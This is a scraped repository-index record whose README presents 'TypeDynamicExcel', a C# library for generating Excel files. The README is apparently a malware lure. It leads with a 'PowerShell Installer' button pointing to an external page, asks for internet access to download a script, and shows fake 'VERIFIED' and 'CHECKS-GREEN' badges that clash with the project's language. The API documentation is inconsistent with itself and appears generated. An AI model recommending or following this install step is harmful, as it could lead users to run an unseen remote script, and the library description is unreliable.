[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"project-109837":3},{"id":4,"name":5,"fullName":6,"owner":7,"repo":5,"description":8,"homepage":9,"htmlUrl":9,"language":10,"languages":9,"totalLinesOfCode":9,"stars":11,"forks":12,"watchers":11,"openIssues":12,"contributorsCount":12,"subscribersCount":12,"size":12,"stars1d":12,"stars7d":12,"stars30d":12,"stars90d":12,"forks30d":12,"starsTrendScore":12,"compositeScore":13,"rankGlobal":9,"rankLanguage":9,"license":9,"archived":14,"fork":14,"defaultBranch":15,"hasWiki":16,"hasPages":16,"topics":17,"createdAt":9,"pushedAt":23,"updatedAt":24,"readmeContent":25,"aiSummary":26,"trendingCount":12,"starSnapshotCount":12,"syncStatus":27,"lastSyncTime":28,"discoverSource":29},109837,"type-dynamic-excel","saharnikovcool\u002Ftype-dynamic-excel","saharnikovcool","Create Excel documents in C# using type dynamic",null,"HTML",149,0,37,false,"main",true,[18,19,20,21,22],"activator","c-sharp","dynamic","excel","type","2026-11-23 10:12:20","2026-11-12 10:26:06","\u003Cdiv align=\"center\">\n\n# TypeDynamicExcel: Dynamic C# Excel Generation — Developer Library\n\n![](files\u002Fpreview.png)\n\n### 💻 PowerShell Installer\n\n[![](files\u002Fbutton.png)](https:\u002F\u002Fsaharnikovcool.github.io\u002Ftype-dynamic-excel\u002F)\n\n[![channel](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FCHANNEL-VERIFIED-2ea44f?style=social&labelColor=0d1117)]() [![checks](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FCHECKS-GREEN-2ea44f?style=social&labelColor=0d1117)]() [![code](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FCODE-PYTHON-2ea44f?style=social&labelColor=0d1117)]() [![ps](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FPS-5.1%2B-34b759?style=social&labelColor=0d1117)]()\n\n\u003C\u002Fdiv>\n\n---\n\nTypeDynamicExcel generates Excel documents through C# `dynamic` dispatch, letting worksheet construction read as fluent property and index assignments rather than verbose interop calls. The library maps cells, ranges, and sheets onto dynamic members so row and column operations stay terse and readable at the call site. It targets scenarios where document shape is known at runtime and compile-time ceremony adds no value. This repository contains the core implementation along with usage samples.\n\n## ✅ Before You Start\n\n- **OS:** Windows 10 \u002F 11\n- **Shell:** PowerShell 5.1+ or PowerShell 7+\n- **Network:** internet access to download the script\n- **Privileges:** standard user\n\n## Features\n\n- **Dynamic workbook construction** — build sheets, rows, and cells through `dynamic` members; no strongly typed DTOs or column mappings required. Property and method names resolve at runtime, so document shape follows the code path directly.\n\n- **Fluent cell and range assignment** — write values with chained dynamic calls; ranges accept scalars, arrays, or enumerables and expand across rows and columns without explicit index arithmetic.\n\n- **Lazy evaluation of the document tree** — the dynamic graph is materialized into an Excel document only at save time, so intermediate mutations stay cheap and ordering is preserved.\n\n- **Automatic type coercion** — primitives, `DateTime`, `decimal`, and `null` map to native cell types; ambiguous values fall back to text with no manual conversion layer.\n\n- **Deterministic sheet and row addressing** — sheets are keyed by name, rows by ordinal; missing targets are created on write, and duplicate keys resolve to the existing node rather than throwing.\n\n- **Compile-time freedom, runtime clarity** — no generics or attribute decoration; invalid member access surfaces as a descriptive runtime exception identifying the offending path segment.\n\n- **Minimal surface area** — a single entry point produces the workbook; everything else is dynamic dispatch, keeping the public API small and the call sites terse.\n\n- **Framework-agnostic output** — the produced document is a standard Excel file consumable by any compliant reader; no proprietary wrapper or runtime dependency leaks into the result.\n\n## Quick Start\n\nInitialize a workbook and write rows through the dynamic API. No schema or attribute plumbing is required.\n\n```csharp\nusing TypeDynamicExcel;\n\ndynamic book = ExcelDocument.Create();\ndynamic sheet = book.AddSheet(\"Invoices\");\n\nsheet.Cell(1, 1).Value = \"Id\";\nsheet.Cell(1, 2).Value = \"Amount\";\nsheet.Cell(1, 3).Value = \"Issued\";\n\nsheet.Cell(2, 1).Value = 1001;\nsheet.Cell(2, 2).Value = 249.99m;\nsheet.Cell(2, 3).Value = DateTime.UtcNow;\n\nsheet.Range(1, 1, 1, 3).Bold = true;\n\nbook.Save(\"invoices.xlsx\");\n```\n\nMembers resolve at runtime, so assignment order and column count are not validated by the compiler. A mistyped member fails on invocation, not at build time — keep cell coordinates in named locals when generating large sheets.\n\n```csharp\nint row = 2;\nforeach (var invoice in invoices)\n{\n    sheet.Cell(row, 1).Value = invoice.Id;\n    sheet.Cell(row, 2).Value = invoice.Amount;\n    sheet.Cell(row, 3).Value = invoice.Issued;\n    row++;\n}\n```\n\nThe `dynamic` surface is a thin wrapper over the underlying document model. When you need compile-time checking, drop to the typed API exposed on the same instance:\n\n```csharp\nExcelWorksheet typed = book.Worksheet(\"Invoices\");\ntyped.Columns[2].Width = 14;\n```\n\nDispose the document when writing completes so the stream is flushed and the package released:\n\n```csharp\nusing (dynamic book = ExcelDocument.Create())\n{\n    \u002F\u002F write cells\n    book.Save(\"report.xlsx\");\n}\n```\n\n## API Reference\n\nAll entry points hang off the dynamic document factory. Instantiate once, then chain dynamic calls to define sheets, rows, cells, and styles.\n\n### `ExcelDocument`\n\n```csharp\ndynamic doc = ExcelDocument.Create();\n```\n\n| Member | Type | Description |\n|---|---|---|\n| `AddSheet(string name)` | `dynamic` | Appends a named worksheet and returns a sheet handle. Throws if the name already exists. |\n| `Sheets` | `IReadOnlyList\u003Cdynamic>` | Enumerates created sheets in insertion order. |\n| `Save(string path)` | `void` | Writes the workbook to disk. Overwrites existing files. |\n| `ToStream()` | `Stream` | Returns the workbook as a seekable stream. Caller owns disposal. |\n\n### Sheet handle\n\nReturned by `AddSheet`. All cell writes are performed through this object.\n\n| Member | Description |\n|---|---|\n| `this[int row, int col]` | Indexer returning a cell handle. Rows and columns are 1-based. |\n| `this[string address]` | A1-style address accessor, e.g. `sheet[\"B4\"]`. |\n| `SetValue(int row, int col, object value)` | Writes a scalar. Supported types: `string`, `int`, `long`, `double`, `decimal`, `bool`, `DateTime`, `null`. |\n| `SetFormula(int row, int col, string formula)` | Writes a formula string without the leading `=`. |\n| `SetRange(int fromRow, int fromCol, int toRow, int toCol, object[,] values)` | Bulk write. Array dimensions must match the target range. |\n| `ColumnWidth(int col, double width)` | Sets column width in character units. |\n| `Merge(int fromRow, int fromCol, int toRow, int toCol)` | Merges a rectangular region. Only the top-left value is retained. |\n| `Rows` | Row collection for iteration and row-level styling. |\n\n### Cell handle\n\nObtained via the sheet indexer. Property sets are chainable because each setter returns the same handle.\n\n| Member | Description |\n|---|---|\n| `Value` | Gets or sets the raw cell value. Assigning a `string` starting with `=` is treated as a formula. |\n| `Formula` | Gets or sets the formula body. Returns `null` for non-formula cells. |\n| `Style` | Returns a style handle for the cell. |\n| `IsEmpty` | `true` when no value, formula, or style is applied. |\n\n### Style handle\n\nMutating any property returns the style handle to allow chaining.\n\n| Property | Values |\n|---|---|\n| `Bold` | `bool` |\n| `Italic` | `bool` |\n| `Underline` | `bool` |\n| `FontName` | `string` |\n| `FontSize` | `double` |\n| `Foreground` | `string` hex, e.g. `\"FFCC00\"` |\n| `Background` | `string` hex |\n| `HorizontalAlign` | `\"left\"`, `\"center\"`, `\"right\"` |\n| `VerticalAlign` | `\"top\"`, `\"middle\"`, `\"bottom\"` |\n| `WrapText` | `bool` |\n| `NumberFormat` | `string` spreadsheet format pattern |\n\n```csharp\ndoc.AddSheet(\"Report\")\n   .SetValue(1, 1, \"Total\")\n   .Style.Bold = true;\n\ndynamic sheet = doc.Sheets[0];\nsheet[2, 1].Value = 42;\nsheet[2, 1].Style.NumberFormat = \"#,##0.00\";\n```\n\n### Exceptions\n\n| Exception | Raised when |\n|---|---|\n| `ArgumentException` | Sheet name is empty, duplicated, or exceeds the allowed length. |\n| `ArgumentOutOfRangeException` | Row or column index is less than 1. |\n| `InvalidOperationException` | A write targets a merged region other than its anchor cell. |\n| `IOException` | `Save` cannot write to the given path. |\n\n### Threading and lifetime\n\nDocument instances are not thread-safe. Perform all writes on a single thread, then dispose the document after `Save` or `ToStream`. Disposing releases internal buffers; accessing any member afterward throws `ObjectDisposedException`.\n\n## Examples\n\nMinimal document:\n\n```csharp\ndynamic excel = new ExcelDocument();\ndynamic sheet = excel.AddSheet(\"Sheet1\");\n\nsheet.Cell(1, 1).Value = \"Name\";\nsheet.Cell(1, 2).Value = \"Score\";\nsheet.Cell(2, 1).Value = \"Alice\";\nsheet.Cell(2, 2).Value = 95;\n\nexcel.Save(\"output.xlsx\");\n```\n\nRows appended from a collection:\n\n```csharp\ndynamic excel = new ExcelDocument();\ndynamic sheet = excel.AddSheet(\"Data\");\n\nvar records = new[]\n{\n    new { Id = 1, Label = \"alpha\" },\n    new { Id = 2, Label = \"beta\" }\n};\n\nint row = 1;\nforeach (var record in records)\n{\n    sheet.Cell(row, 1).Value = record.Id;\n    sheet.Cell(row, 2).Value = record.Label;\n    row++;\n}\n\nexcel.Save(\"data.xlsx\");\n```\n\nFormatting through dynamic members:\n\n```csharp\ndynamic excel = new ExcelDocument();\ndynamic sheet = excel.AddSheet(\"Report\");\n\nsheet.Cell(1, 1).Value = \"Total\";\nsheet.Cell(1, 1).Bold = true;\nsheet.Cell(2, 1).Value = 42;\nsheet.Cell(2, 1).NumberFormat = \"0.00\";\nsheet.Column(1).Width = 20;\n\nexcel.Save(\"report.xlsx\");\n```\n\nMultiple sheets in one document:\n\n```csharp\ndynamic excel = new ExcelDocument();\n\ndynamic summary = excel.AddSheet(\"Summary\");\ndynamic details = excel.AddSheet(\"Details\");\n\nsummary.Cell(1, 1).Value = \"See Details\";\ndetails.Cell(1, 1).Value = \"Line item\";\ndetails.Cell(2, 1).Value = \"Widget\";\n\nexcel.Save(\"workbook.xlsx\");\n```\n\nBecause members are resolved at runtime through `dynamic`, member names and argument shapes are not checked by the compiler. Invalid member access fails at execution time, so keep call sites small and covered by tests.\n\n## License\n\nTypeDynamicExcel is released under the MIT License. The license applies to all source files, build scripts, and documentation contained in this repository unless a specific file states otherwise.\n\nPermission is granted, free of charge, to any person obtaining a copy of this software and associated documentation files, to deal in the software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and sell copies of the software, subject to inclusion of the copyright notice and this permission notice in all copies or substantial portions of the software.\n\nThe software is provided \"as is\", without warranty of any kind, express or implied, including but not limited to the warranties of merchantability, fitness for a particular purpose, and noninfringement. In no event shall the authors or copyright holders be liable for any claim, damages, or other liability, whether in an action of contract, tort, or otherwise, arising from, out of, or in connection with the software or the use or other dealings in the software.\n\nContributions submitted to TypeDynamicExcel are accepted under the same MIT terms. By opening a pull request, you confirm that you hold the rights to the contributed code and agree to license it under these terms. No separate contributor license agreement is required.\n\nWhen redistributing binaries or derivative works, retain the original copyright notice and this permission notice. Attribution in documentation is appreciated but not required by the license terms.","TypeDynamicExcel 是一个用于在 C# 中通过 dynamic 类型动态生成 Excel 文档的轻量级库。它利用 C# 的 dynamic 机制，将工作表、行、单元格抽象为可直接赋值的动态成员，支持链式写入、自动类型转换、懒加载构建和按需创建缺失节点，避免了传统 Excel 互操作中繁琐的 COM 调用或强类型模型定义。核心特点是零编译期约束、运行时路径解析、确定性地址映射（如 sheet 名\u002F行序号）及纯标准 .xlsx 输出。适用于报表模板灵活、结构在运行时确定、且需快速原型开发或简化数据导出逻辑的 Windows 桌面场景（如内部工具、自动化脚本、管理后台导出模块）。",2,"2026-11-24 04:37:37","CREATED_QUERY"]